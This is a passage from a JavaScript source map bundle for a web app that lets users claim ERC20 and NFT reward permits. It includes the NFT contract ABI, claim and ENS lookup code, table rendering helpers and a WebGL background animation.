{\n internalType: \"address\",\n name: \"\",\n type: \"address\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n ],\n name: \"ownerOf\",\n outputs: [\n {\n internalType: \"address\",\n name: \"\",\n type: \"address\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"pause\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"paused\",\n outputs: [\n {\n internalType: \"bool\",\n name: \"\",\n type: \"bool\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n {\n components: [\n {\n internalType: \"address\",\n name: \"beneficiary\",\n type: \"address\",\n },\n {\n internalType: \"uint256\",\n name: \"deadline\",\n type: \"uint256\",\n },\n {\n internalType: \"bytes32[]\",\n name: \"keys\",\n type: \"bytes32[]\",\n },\n {\n internalType: \"uint256\",\n name: \"nonce\",\n type: \"uint256\",\n },\n {\n internalType: \"string[]\",\n name: \"values\",\n type: \"string[]\",\n },\n ],\n internalType: \"struct NftReward.MintRequest\",\n name: \"_mintRequest\",\n type: \"tuple\",\n },\n {\n internalType: \"bytes\",\n name: \"_signature\",\n type: \"bytes\",\n },\n ],\n name: \"recover\",\n outputs: [\n {\n internalType: \"address\",\n name: \"\",\n type: \"address\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"renounceOwnership\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n components: [\n {\n internalType: \"address\",\n name: \"beneficiary\",\n type: \"address\",\n },\n {\n internalType: \"uint256\",\n name: \"deadline\",\n type: \"uint256\",\n },\n {\n internalType: \"bytes32[]\",\n name: \"keys\",\n type: \"bytes32[]\",\n },\n {\n internalType: \"uint256\",\n name: \"nonce\",\n type: \"uint256\",\n },\n {\n internalType: \"string[]\",\n name: \"values\",\n type: \"string[]\",\n },\n ],\n internalType: \"struct NftReward.MintRequest\",\n name: \"_mintRequest\",\n type: \"tuple\",\n },\n {\n internalType: \"bytes\",\n name: \"_signature\",\n type: \"bytes\",\n },\n ],\n name: \"safeMint\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"from\",\n type: \"address\",\n },\n {\n internalType: \"address\",\n name: \"to\",\n type: \"address\",\n },\n {\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n ],\n name: \"safeTransferFrom\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"from\",\n type: \"address\",\n },\n {\n internalType: \"address\",\n name: \"to\",\n type: \"address\",\n },\n {\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n {\n internalType: \"bytes\",\n name: \"data\",\n type: \"bytes\",\n },\n ],\n name: \"safeTransferFrom\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"operator\",\n type: \"address\",\n },\n {\n internalType: \"bool\",\n name: \"approved\",\n type: \"bool\",\n },\n ],\n name: \"setApprovalForAll\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"string\",\n name: \"_newBaseUri\",\n type: \"string\",\n },\n ],\n name: \"setBaseUri\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"_newMinter\",\n type: \"address\",\n },\n ],\n name: \"setMinter\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"bytes4\",\n name: \"interfaceId\",\n type: \"bytes4\",\n },\n ],\n name: \"supportsInterface\",\n outputs: [\n {\n internalType: \"bool\",\n name: \"\",\n type: \"bool\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"symbol\",\n outputs: [\n {\n internalType: \"string\",\n name: \"\",\n type: \"string\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n {\n internalType: \"bytes32\",\n name: \"key\",\n type: \"bytes32\",\n },\n ],\n name: \"tokenData\",\n outputs: [\n {\n internalType: \"string\",\n name: \"value\",\n type: \"string\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"bytes32\",\n name: \"tokenDataKey\",\n type: \"bytes32\",\n },\n ],\n name: \"tokenDataKeyExists\",\n outputs: [\n {\n internalType: \"bool\",\n name: \"isTokenDataKeyExists\",\n type: \"bool\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"uint256\",\n name: \"\",\n type: \"uint256\",\n },\n ],\n name: \"tokenDataKeys\",\n outputs: [\n {\n internalType: \"bytes32\",\n name: \"\",\n type: \"bytes32\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"tokenIdCounter\",\n outputs: [\n {\n internalType: \"uint256\",\n name: \"\",\n type: \"uint256\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n ],\n name: \"tokenURI\",\n outputs: [\n {\n internalType: \"string\",\n name: \"\",\n type: \"string\",\n },\n ],\n stateMutability: \"view\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"from\",\n type: \"address\",\n },\n {\n internalType: \"address\",\n name: \"to\",\n type: \"address\",\n },\n {\n internalType: \"uint256\",\n name: \"tokenId\",\n type: \"uint256\",\n },\n ],\n name: \"transferFrom\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [\n {\n internalType: \"address\",\n name: \"newOwner\",\n type: \"address\",\n },\n ],\n name: \"transferOwnership\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n {\n inputs: [],\n name: \"unpause\",\n outputs: [],\n stateMutability: \"nonpayable\",\n type: \"function\",\n },\n];\n", "import { JsonRpcProvider, TransactionResponse } from \"@ethersproject/providers\";\nimport { ERC721Permit } from \"@ubiquibot/permit-generation/types\";\nimport { BigNumber, ethers } from \"ethers\";\nimport { nftRewardAbi } from \"../abis/nft-reward-abi\";\nimport { app } from \"../app-state\";\nimport { buttonController, getMakeClaimButton, toaster } from \"../toaster\";\nimport { connectWallet } from \"./connect-wallet\";\n\nexport function claimErc721PermitHandler(reward: ERC721Permit) {\n return async function claimHandler() {\n const signer = await connectWallet();\n if (!signer) {\n return;\n }\n\n if ((await signer.getAddress()).toLowerCase() !== reward.beneficiary) {\n toaster.create(\"warning\", `This NFT is not for you.`);\n return;\n }\n\n if (BigNumber.from(reward.deadline).lt(Math.floor(Date.now() / 1000))) {\n toaster.create(\"error\", `This NFT has expired.`);\n return;\n }\n\n const isRedeemed = await isNonceRedeemed(reward, app.provider);\n if (isRedeemed) {\n toaster.create(\"error\", `This NFT has already been redeemed.`);\n return;\n }\n\n buttonController.showLoader();\n try {\n const nftContract = new ethers.Contract(reward.tokenAddress, nftRewardAbi, signer);\n\n const tx: TransactionResponse = await nftContract.safeMint(\n {\n beneficiary: reward.beneficiary,\n deadline: reward.deadline,\n keys: reward.erc721Request?.keys,\n nonce: reward.nonce,\n values: reward.erc721Request?.values,\n },\n reward.signature\n );\n toaster.create(\"info\", `Transaction sent. Waiting for confirmation...`);\n const receipt = await tx.wait();\n buttonController.hideLoader();\n toaster.create(\"success\", `Claim Complete.`);\n buttonController.showViewClaim();\n buttonController.hideMakeClaim();\n console.log(receipt.transactionHash); // @TODO: post to database\n\n getMakeClaimButton().removeEventListener(\"click\", claimHandler);\n\n // app.nextPermit();\n // renderTransaction().catch((error) => {\n // console.error(error);\n // toaster.create(\"error\", `Error rendering transaction: ${error.message}`);\n // });\n } catch (error: unknown) {\n console.error(error);\n if (error instanceof Error) {\n toaster.create(\"error\", `Error claiming NFT: ${error.message}`);\n } else if (typeof error === \"string\") {\n toaster.create(\"error\", `Error claiming NFT: ${error}`);\n } else {\n toaster.create(\"error\", `Error claiming NFT: Unknown error`);\n }\n }\n };\n}\n\nasync function isNonceRedeemed(reward: ERC721Permit, provider: JsonRpcProvider): Promise {\n const nftContract = new ethers.Contract(reward.tokenAddress, nftRewardAbi, provider);\n return nftContract.nonceRedeemed(reward.nonce);\n}\n", "import { ERC20Permit, ERC721Permit } from \"@ubiquibot/permit-generation/types\";\nimport { BigNumber, ethers } from \"ethers\";\nimport { app, AppState } from \"../app-state\";\n\nfunction shortenAddress(address: string): string {\n return `${address.slice(0, 10)}...${address.slice(-8)}`;\n}\n\nexport function insertErc20PermitTableData(\n app: AppState,\n table: Element,\n treasury: { balance: BigNumber; allowance: BigNumber; decimals: number; symbol: string }\n): Element {\n const reward = app.reward as ERC20Permit;\n const requestedAmountElement = document.getElementById(\"rewardAmount\") as Element;\n renderToFields(reward.beneficiary, app.currentExplorerUrl);\n renderTokenFields(reward.tokenAddress, app.currentExplorerUrl);\n renderDetailsFields([\n { name: \"From\", value: `${reward.owner}` },\n {\n name: \"Expiry\",\n value: (() => {\n const deadline = BigNumber.isBigNumber(reward.deadline) ? reward.deadline : BigNumber.from(reward.deadline);\n return deadline.lte(Number.MAX_SAFE_INTEGER.toString()) ? new Date(deadline.toNumber()).toLocaleString() : undefined;\n })(),\n },\n { name: \"Balance\", value: treasury.balance.gte(0) ? `${ethers.utils.formatUnits(treasury.balance, treasury.decimals)} ${treasury.symbol}` : \"N/A\" },\n { name: \"Allowance\", value: treasury.allowance.gte(0) ? `${ethers.utils.formatUnits(treasury.allowance, treasury.decimals)} ${treasury.symbol}` : \"N/A\" },\n ]);\n table.setAttribute(`data-make-claim-rendered`, \"true\");\n return requestedAmountElement;\n}\n\nexport function insertErc721PermitTableData(reward: ERC721Permit, table: Element): Element {\n const requestedAmountElement = document.getElementById(\"rewardAmount\") as Element;\n renderToFields(reward.beneficiary, app.currentExplorerUrl);\n renderTokenFields(reward.tokenAddress, app.currentExplorerUrl);\n const { GITHUB_REPOSITORY_NAME, GITHUB_CONTRIBUTION_TYPE, GITHUB_ISSUE_ID, GITHUB_ORGANIZATION_NAME, GITHUB_USERNAME } = reward.erc721Request?.metadata || {};\n renderDetailsFields([\n {\n name: \"NFT address\",\n value: `${reward.tokenAddress}`,\n },\n {\n name: \"Expiry\",\n value: BigNumber.from(reward.deadline).lte(Number.MAX_SAFE_INTEGER.toString()) ? new Date(Number(reward.deadline)).toLocaleString() : undefined,\n },\n {\n name: \"GitHub Organization\",\n value: `${GITHUB_ORGANIZATION_NAME}`,\n },\n {\n name: \"GitHub Repository\",\n value: `${GITHUB_REPOSITORY_NAME}`,\n },\n {\n name: \"GitHub Issue\",\n value: `${GITHUB_ISSUE_ID}`,\n },\n {\n name: \"GitHub Username\",\n value: `${GITHUB_USERNAME}`,\n },\n { name: \"Contribution Type\", value: GITHUB_CONTRIBUTION_TYPE?.split(\",\").join(\", \") },\n ]);\n table.setAttribute(`data-make-claim-rendered`, \"true\");\n return requestedAmountElement;\n}\n\nfunction renderDetailsFields(additionalDetails: { name: string; value: string | undefined }[]) {\n const additionalDetailsDiv = document.getElementById(\"additionalDetailsTable\") as Element;\n let additionalDetailsHtml = \"\";\n for (const { name, value } of additionalDetails) {\n if (!value) continue;\n additionalDetailsHtml += `\n
${name}
\n
${value}
\n `;\n }\n\n additionalDetailsDiv.innerHTML = additionalDetailsHtml;\n}\n\nfunction renderTokenFields(tokenAddress: string, explorerUrl: string) {\n const tokenFull = document.querySelector(\"#Token .full\") as Element;\n const tokenShort = document.querySelector(\"#Token .short\") as Element;\n\n tokenFull.innerHTML = `
${tokenAddress}
`;\n tokenShort.innerHTML = `
${shortenAddress(tokenAddress)}
`;\n\n const tokenBoth = document.getElementById(`rewardToken`) as Element;\n tokenBoth.innerHTML = `${tokenBoth.innerHTML}`;\n}\n\nfunction renderToFields(receiverAddress: string, explorerUrl: string) {\n const toFull = document.querySelector(\"#rewardRecipient .full\") as Element;\n const toShort = document.querySelector(\"#rewardRecipient .short\") as Element;\n\n // if the for address is an ENS name neither will be found\n if (!toFull || !toShort) return;\n\n toFull.innerHTML = `
${receiverAddress}
`;\n toShort.innerHTML = `
${shortenAddress(receiverAddress)}
`;\n\n const toBoth = document.getElementById(`rewardRecipient`) as Element;\n toBoth.innerHTML = `${toBoth.innerHTML}`;\n}\n", "[\n {\n \"inputs\": [\n {\n \"internalType\": \"contract ENS\",\n \"name\": \"_ens\",\n \"type\": \"address\"\n }\n ],\n \"stateMutability\": \"nonpayable\",\n \"type\": \"constructor\"\n },\n {\n \"inputs\": [\n {\n \"internalType\": \"address[]\",\n \"name\": \"addresses\",\n \"type\": \"address[]\"\n }\n ],\n \"name\": \"getNames\",\n \"outputs\": [\n {\n \"internalType\": \"string[]\",\n \"name\": \"r\",\n \"type\": \"string[]\"\n }\n ],\n \"stateMutability\": \"view\",\n \"type\": \"function\"\n }\n]\n", "export async function queryGraph(endpoint: string | URL | Request, query: string) {\n const response = await fetch(endpoint, {\n method: \"POST\",\n headers: {\n \"Content-Type\": \"application/json\",\n Accept: \"application/json\",\n },\n body: JSON.stringify({ query }),\n });\n\n return response.json();\n}\n", "import { queryGraph } from \"./query-graph\";\n\nexport async function fetchEns(address: string) {\n const endpoint = \"https://api.thegraph.com/subgraphs/name/ensdomains/ens\";\n const query = `{\n domains(where:{owner:\"${address.toLowerCase()}\"}) {\n name\n }\n }`;\n const res = await queryGraph(endpoint, query);\n return res.data.domains.map((domain: { name: string }) => domain.name);\n}\n", "import { app } from \"../app-state\";\nimport { useRpcHandler } from \"../web3/use-rpc-handler\";\nimport { reverseEnsInterface } from \"./ens-lookup\";\n\nexport async function queryReverseEns(address: string, networkId: number) {\n // Try to get the ENS name from localStorage\n const cachedEnsName = localStorage.getItem(address);\n const endpoint = app.provider?.connection.url || (await useRpcHandler(app)).connection.url;\n\n if (!endpoint) {\n console.error(\"ENS lookup failed: No endpoint found for network ID\", networkId);\n if (cachedEnsName) return cachedEnsName;\n }\n\n if (cachedEnsName) {\n // If the ENS name is in localStorage, return it\n return cachedEnsName;\n } else {\n // If the ENS name is not in localStorage, fetch it from the API\n const data = reverseEnsInterface.encodeFunctionData(\"getNames\", [[address.substring(2)]]);\n\n const response = await fetch(endpoint, {\n method: \"POST\",\n headers: {\n \"Content-Type\": \"application/json\",\n },\n body: JSON.stringify({\n jsonrpc: \"2.0\",\n id: \"1\",\n method: \"eth_call\",\n params: [{ to: \"0x3671aE578E63FdF66ad4F3E12CC0c0d71Ac7510C\", data: data }, \"latest\"],\n }),\n });\n\n if (!response.ok) {\n console.error(\"ENS lookup failed: API request failed\");\n return \"\";\n }\n\n const ensName = await response.text();\n\n // Store the ENS name in localStorage for future use\n localStorage.setItem(address, ensName);\n\n return ensName;\n }\n}\n", "import { ethers } from \"ethers\";\nimport abi from \"../abis/cirip.json\";\nimport { fetchEns } from \"./fetch-ens\";\nimport { queryReverseEns } from \"./query-reverse-ens\";\n\nexport const reverseEnsInterface = new ethers.utils.Interface(abi);\n\n// addEventListener(\"fetch\", event => {\n// event.respondWith(handleRequest(event.request).catch(err => new Response(err.stack, { status: 500 })));\n// });\n\nexport async function ensLookup(addr: string, networkId: number) {\n const _address = \"/\".concat(addr); // quick adapter\n\n // try {\n const start = _address.indexOf(\"/0x\");\n if (start == -1) throw \"No ethereum address provided.\";\n if (_address.length <= 42 + start) {\n throw \"Invalid ethereum address provided.\";\n }\n const address = _address.substring(start + 1, start + 43).toLowerCase();\n\n let reverseRecord = null as null | string;\n // let response = \"\";\n try {\n reverseRecord = await queryReverseEns(address, networkId);\n const responseParsed = JSON.parse(reverseRecord).result;\n const _reverseRecord = ethers.utils.defaultAbiCoder.decode([ethers.utils.ParamType.from(\"string[]\")], responseParsed);\n reverseRecord = _reverseRecord[0][0];\n } catch (e) {\n console.error(e);\n // throw \"Error contacting ethereum node. \\nCause: '\" + e + \"'. \\nResponse: \" + response;\n }\n\n const allDomains = await fetchEns(address);\n\n if (reverseRecord == \"\") {\n reverseRecord = null;\n }\n\n // if reverse record is set, validate addr owns this domain.\n if (reverseRecord != null && !allDomains.includes(reverseRecord)) {\n console.warn(\"Failed to validate! Reverse record set to \" + reverseRecord + \", but user does not own this name.\");\n reverseRecord = null;\n }\n\n return {\n reverseRecord: reverseRecord,\n domains: allDomains,\n };\n // new Response(JSON.stringify(response), {\n // headers: {\n // \"Content-Type\": \"application/json;charset=UTF-8\",\n // \"Access-Control-Allow-Origin\": \"*\",\n // },\n // });\n // } catch (e) {\n // return new Response(\"Error: \" + e, {\n // status: 400,\n // headers: {\n // \"Content-Type\": \"text/raw;charset=UTF-8\",\n // \"Access-Control-Allow-Origin\": \"*\",\n // },\n // });\n // }\n}\n", "import { app } from \"../app-state\";\nimport { ensLookup } from \"../cirip/ens-lookup\";\n\ntype EnsParams =\n | {\n element: Element;\n address: string;\n tokenAddress: string;\n tokenView: true;\n networkId: number;\n }\n | {\n element: Element;\n address: string;\n tokenAddress?: undefined;\n tokenView?: false;\n networkId: number;\n };\n\nexport async function renderEnsName({ element, address, tokenAddress, tokenView, networkId }: EnsParams): Promise {\n let href: string = \"\";\n try {\n const resolved = await ensLookup(address, networkId);\n let ensName: undefined | string;\n if (resolved.reverseRecord) {\n ensName = resolved.reverseRecord;\n } else if (resolved.domains.length) {\n const domain = resolved.domains.shift();\n if (domain) {\n ensName = domain;\n }\n }\n if (ensName) {\n if (tokenView) {\n href = `${app.currentExplorerUrl}/token/${tokenAddress}?a=${address}`;\n } else {\n href = `${app.currentExplorerUrl}/address/${address}\"`;\n }\n element.innerHTML = `${ensName}`;\n }\n } catch (error) {\n console.error(error);\n }\n}\n", "import { BigNumberish, ethers, utils } from \"ethers\";\nimport { erc20Abi } from \"../abis/erc20-abi\";\nimport { app } from \"../app-state\";\nexport async function renderTokenSymbol({\n table,\n requestedAmountElement,\n tokenAddress,\n ownerAddress,\n amount,\n explorerUrl,\n}: {\n table: Element;\n requestedAmountElement: Element;\n tokenAddress: string;\n ownerAddress: string;\n amount: BigNumberish;\n explorerUrl: string;\n}): Promise {\n const contract = new ethers.Contract(tokenAddress, erc20Abi, app.provider);\n\n let symbol, decimals;\n\n // Try to get the token info from localStorage\n const tokenInfo = localStorage.getItem(tokenAddress);\n\n if (tokenInfo) {\n // If the token info is in localStorage, parse it and use it\n const { decimals: storedDecimals, symbol: storedSymbol } = JSON.parse(tokenInfo);\n decimals = storedDecimals;\n symbol = storedSymbol;\n } else {\n // If the token info is not in localStorage, fetch it from the blockchain\n [symbol, decimals] = await Promise.all([contract.symbol(), contract.decimals()]);\n\n // Store the token info in localStorage for future use\n localStorage.setItem(tokenAddress, JSON.stringify({ decimals, symbol }));\n }\n\n // Format the amount\n let formattedAmount: string | number = parseFloat(utils.formatUnits(amount, decimals));\n\n // If the amount is an integer, convert it to a string\n if (Number.isInteger(formattedAmount)) {\n formattedAmount = formattedAmount.toString();\n } else {\n // If the amount is not an integer, round it to a max of 4 decimal places\n const decimals = Math.min(4, (formattedAmount.toString().split(\".\")[1] || \"\").length);\n formattedAmount = formattedAmount.toFixed(decimals);\n }\n\n table.setAttribute(`data-contract-loaded`, \"true\");\n requestedAmountElement.innerHTML = `${formattedAmount} ${symbol}`;\n}\n\nexport async function renderNftSymbol({\n table,\n requestedAmountElement,\n tokenAddress,\n explorerUrl,\n}: {\n table: Element;\n requestedAmountElement: Element;\n tokenAddress: string;\n explorerUrl: string;\n}): Promise {\n const contract = new ethers.Contract(tokenAddress, erc20Abi, app.provider);\n\n let symbol: string;\n\n // Try to get the token info from localStorage\n const tokenInfo = localStorage.getItem(tokenAddress);\n\n if (tokenInfo) {\n // If the token info is in localStorage, parse it and use it\n const { symbol: storedSymbol } = JSON.parse(tokenInfo);\n symbol = storedSymbol;\n } else {\n // If the token info is not in localStorage, fetch it from the blockchain\n symbol = await contract.symbol();\n\n // Store the token info in localStorage for future use\n localStorage.setItem(tokenAddress, JSON.stringify({ symbol }));\n }\n\n table.setAttribute(`data-contract-loaded`, \"true\");\n requestedAmountElement.innerHTML = `1 ${symbol}`;\n}\n", "export function removeAllEventListeners(element: Element): Element {\n const clone = element.cloneNode(true) as Element;\n element.replaceWith(clone);\n return clone;\n}\n", "import { app } from \"../app-state\";\nimport { getMakeClaimButton } from \"../toaster\";\nimport { table } from \"./read-claim-data-from-url\";\nimport { renderTransaction } from \"./render-transaction\";\nimport { removeAllEventListeners } from \"./utils\";\n\nconst nextTxButton = document.getElementById(\"nextTx\");\nconst prevTxButton = document.getElementById(\"prevTx\");\n\nexport function claimRewardsPagination(rewardsCount: HTMLElement) {\n rewardsCount.innerHTML = `${app.rewardIndex + 1}/${app.claims.length} reward`;\n if (nextTxButton) nextTxButton.addEventListener(\"click\", () => transactionHandler(\"next\"));\n if (prevTxButton) prevTxButton.addEventListener(\"click\", () => transactionHandler(\"previous\"));\n}\n\nfunction transactionHandler(direction: \"next\" | \"previous\") {\n removeAllEventListeners(getMakeClaimButton()) as HTMLButtonElement;\n direction === \"next\" ? app.nextPermit() : app.previousPermit();\n table.setAttribute(`data-make-claim`, \"error\");\n renderTransaction().catch(console.error);\n}\n", "export function setClaimMessage({ type, message }: { type: string; message: string }): void {\n const claimMessageType = document.querySelector(`table > thead th`) as Element;\n const claimMessageBody = document.querySelector(`table > thead td`) as Element;\n claimMessageType.innerHTML = `
${type}
`;\n claimMessageBody.innerHTML = `
${message}
`;\n}\n", "export function grid(node = document.body, callback?: () => void) {\n // Create canvas and WebGL context\n const canvas = document.createElement(\"canvas\");\n const devicePixelRatio = window.devicePixelRatio || 1;\n canvas.width = window.innerWidth * devicePixelRatio;\n canvas.height = window.innerHeight * devicePixelRatio;\n node.appendChild(canvas);\n\n const gl = canvas.getContext(\"webgl\") as WebGLRenderingContext;\n\n // Enable alpha blending\n gl.enable(gl.BLEND);\n gl.blendFunc(gl.SRC_ALPHA, gl.ONE_MINUS_SRC_ALPHA);\n\n // Define shader sources\n const vertexShaderSource = `\n attribute vec2 a_position;\n\n void main() {\n gl_Position = vec4(a_position, 0, 1);\n }\n`;\n\n // cspell:ignore mediump\n const fragmentShaderSource = `\n precision mediump float;\n\n uniform vec2 u_resolution;\n uniform float u_time;\n\n float rand(vec2 n) {\n return fract(sin(dot(n, vec2(12.9898, 4.1414))) * 43758.5453);\n }\n\n void main() {\n vec3 color = vec3(128.0/255.0, 128.0/255.0, 128.0/255.0); // #808080\n vec2 tilePosition = mod(gl_FragCoord.xy, 24.0);\n vec2 tileNumber = floor(gl_FragCoord.xy / 24.0);\n\n float period = rand(tileNumber) * 9.0 + 1.0; // Random value in the range [1, 10]\n float phase = fract(u_time / period / 8.0); // Animation eight times slower\n float opacity = (1.0 - abs(phase * 2.0 - 1.0)) * 0.125; // Limit maximum opacity to 0.25\n\n vec4 backgroundColor = vec4(color, opacity);\n\n if (tilePosition.x > 23.0 && tilePosition.y < 1.0) {\n gl_FragColor = vec4(color, 1.0); // Full opacity for the dot\n } else {\n gl_FragColor = backgroundColor;\n }\n }\n`;\n\n // Define shader creation function\n function createShader(gl: WebGLRenderingContext, type: number, source: string) {\n const shader = gl.createShader(type);\n if (!shader) {\n console.error(\"An error occurred creating the shaders\");\n return null;\n }\n gl.shaderSource(shader, source);\n gl.compileShader(shader);\n if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {\n console.error(\"An error occurred compiling the shaders: \" + gl.getShaderInfoLog(shader));\n gl.deleteShader(shader);\n return null;\n }\n return shader;\n }\n\n // Create vertex and fragment shaders\n const vertexShader = createShader(gl, gl.VERTEX_SHADER, vertexShaderSource);\n if (!vertexShader) {\n console.error(\"An error occurred creating the vertex shader\");\n return;\n }\n const fragmentShader = createShader(gl, gl.FRAGMENT_SHADER, fragmentShaderSource);\n if (!fragmentShader) {\n console.error(\"An error occurred creating the fragment shader\");\n return;\n }\n\n // Create program, attach shaders, and link\n const program = gl.createProgram();\n if (!program) {\n console.error(\"An error occurred creating the program\");\n return;\n }\n\n gl.attachShader(program, vertexShader);\n gl.attachShader(program, fragmentShader);\n gl.linkProgram(program);\n\n // Verify program link status\n if (!gl.getProgramParameter(program, gl.LINK_STATUS)) {\n console.error(\"Unable to initialize the shader program: \" + gl.getProgramInfoLog(program));\n return;\n }\n\n // Use the program\n gl.useProgram(program);\n\n // Get location of time and resolution uniforms\n const timeUniformLocation = gl.getUniformLocation(program, \"u_time\");\n const resolutionUniformLocation = gl.getUniformLocation(program, \"u_resolution\");\n\n // Bind the position buffer and set attribute pointer\n const positionBuffer = gl.createBuffer();\n gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);\n gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([-1, -1, 1, -1, -1, 1, 1, 1]), gl.STATIC_DRAW);\n\n const positionAttributeLocation = gl.getAttribLocation(program, \"a_position\");\n gl.enableVertexAttribArray(positionAttributeLocation);\n gl.vertexAttribPointer(positionAttributeLocation, 2, gl.FLOAT, false, 0, 0);\n\n // Resize function\n function resizeCanvasToDisplaySize(canvas: HTMLCanvasElement) {\n // Lookup the size the browser is displaying the canvas.\n const displayWidth = window.innerWidth;\n const displayHeight = window.innerHeight;\n\n // Check if the canvas is not the same size.\n if (canvas.width != displayWidth || canvas.height != displayHeight) {\n // Make the canvas the same size\n canvas.width = displayWidth;\n canvas.height = displayHeight;\n\n // Update WebGL viewport to match\n gl.viewport(0, 0, canvas.width, canvas.height);\n }\n }\n\n // Render function\n function render() {\n resizeCanvasToDisplaySize(canvas); // Check and update canvas size each frame\n\n // Update resolution uniform\n gl.uniform2f(resolutionUniformLocation, canvas.width, canvas.height);\n\n gl.clearColor(0.0, 0.0, 0.0, 1.0);\n gl.clear(gl.COLOR_BUFFER_BIT);\n\n // Update time uniform\n gl.uniform1f(timeUniformLocation, performance.now() / 1000.0);\n\n // Draw\n gl.drawArrays(gl.TRIANGLE_STRIP, 0, 4);\n\n // Request next frame\n requestAnimationFrame(render);\n }\n\n // Handle window resize\n window.addEventListener(\"resize\", () => resizeCanvasToDisplaySize(canvas));\n\n // Callback\n if (callback) {\n callback();\n }\n // Start the render loop\n render();\n}\n", "import { app } from \"./app-state\";\nimport { displayCommitHash } from \"./render-transaction/display-commit-hash\";\nimport { readClaimDataFromUrl } from \"./render-transaction/read-claim-data-from-url\";\nimport { grid } from \"./the-grid\";\n\ndisplayCommitHash();\ngrid(document.getElementById(\"grid\") as HTMLElement, gridLoadedCallback); // @DEV: display grid background\nreadClaimDataFromUrl(app).catch(console.error); // @DEV: read claim data from URL\n\nconst footer = document.querySelector(\".footer\") as Element;\nfooter.classList.add(\"ready\");\n\n// cSpell:ignore llback\nfunction gridLoadedCallback() {\n document.body.classList.add(\"grid-loaded\");\n}\n"], - "mappings": ";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAAA;AAAA;AAAA,mBAAAA;AAAA,IAAA,eAAAC;AAAA,IAAA,gBAAAC;AAAA,IAAA,eAAAC;AAAA,IAAA,aAAAC;AAAA;AAAA,MAGI,WAUA,cAESA,QAEND,kBAEMH,UACAC,UACAC;AArBb;AAAA;AAAA;AAGA,MAAI,YAAY,WAAW;AAIvB,YAAI,OAAO,SAAS,aAAa;AAAE,iBAAO;AAAA,QAAM;AAChD,YAAI,OAAO,WAAW,aAAa;AAAE,iBAAO;AAAA,QAAQ;AACpD,YAAI,OAAO,WAAW,aAAa;AAAE,iBAAO;AAAA,QAAQ;AACpD,cAAM,IAAI,MAAM,gCAAgC;AAAA,MACpD;AAEA,MAAI,eAAe,UAAU;AAEtB,MAAME,SAAQ,aAAa;AAElC,MAAOD,mBAAQ,aAAa,MAAM,KAAK,YAAY;AAE5C,MAAMH,WAAU,aAAa;AAC7B,MAAMC,WAAU,aAAa;AAC7B,MAAMC,YAAW,aAAa;AAAA;AAAA;;;;;;;ACnBrC,UAAqB,iBAArB,cAA4C,MAAK;QAK/C,YAAY,SAAwB;AAClC,gBAAM,QAAQ,OAAO;AACrB,eAAK,OAAO;AACZ,eAAK,UAAU,QAAQ;AACvB,eAAK,OAAO,QAAQ;AACpB,eAAK,OAAO,QAAQ;QACtB;;AAXF,cAAA,UAAA;;;;;;;;;;;;ACDA,UAAA,eAAA,gBAAA,+CAAA;AAGA,UAAA,mBAAA,gBAAA,wBAAA;AAEA,UAA8BG,oBAA9B,MAA8C;QAa5C,YAAY,SAAiC;AALnC,eAAA,qBAAqB;AAM7B,eAAK,SAAS,QAAQ;AACtB,eAAK,MAAM,QAAQ;AACnB,eAAK,UAAU,QAAQ;AACvB,eAAK,SAAS,QAAQ;AACtB,eAAK,OAAO,QAAQ;AACpB,eAAK,qBAAqB,QAAQ;AAClC,eAAK,SAAS,QAAQ;AACtB,eAAK,gBAAgB,QAAQ;AAE7B,cAAI,QAAQ,OAAO;AACjB,iBAAK,QAAQ,QAAQ;qBACZ,OAAO,UAAU,aAAa;AACvC,iBAAK,QAAQ,aAAA;iBACR;AACL,iBAAK,QAAQ;;QAEjB;;;;;;;QAQA,eAAY;AACV,eAAK,qBAAqB;AAC1B,iBAAO;QACT;QAEA,KACE,aAIA,YAAmF;AAGnF,cAAI,KAAK,WAAW,QAAW;qBAEpB,CAAC,OAAO,MAAM,EAAE,SAAS,KAAK,MAAM,GAAG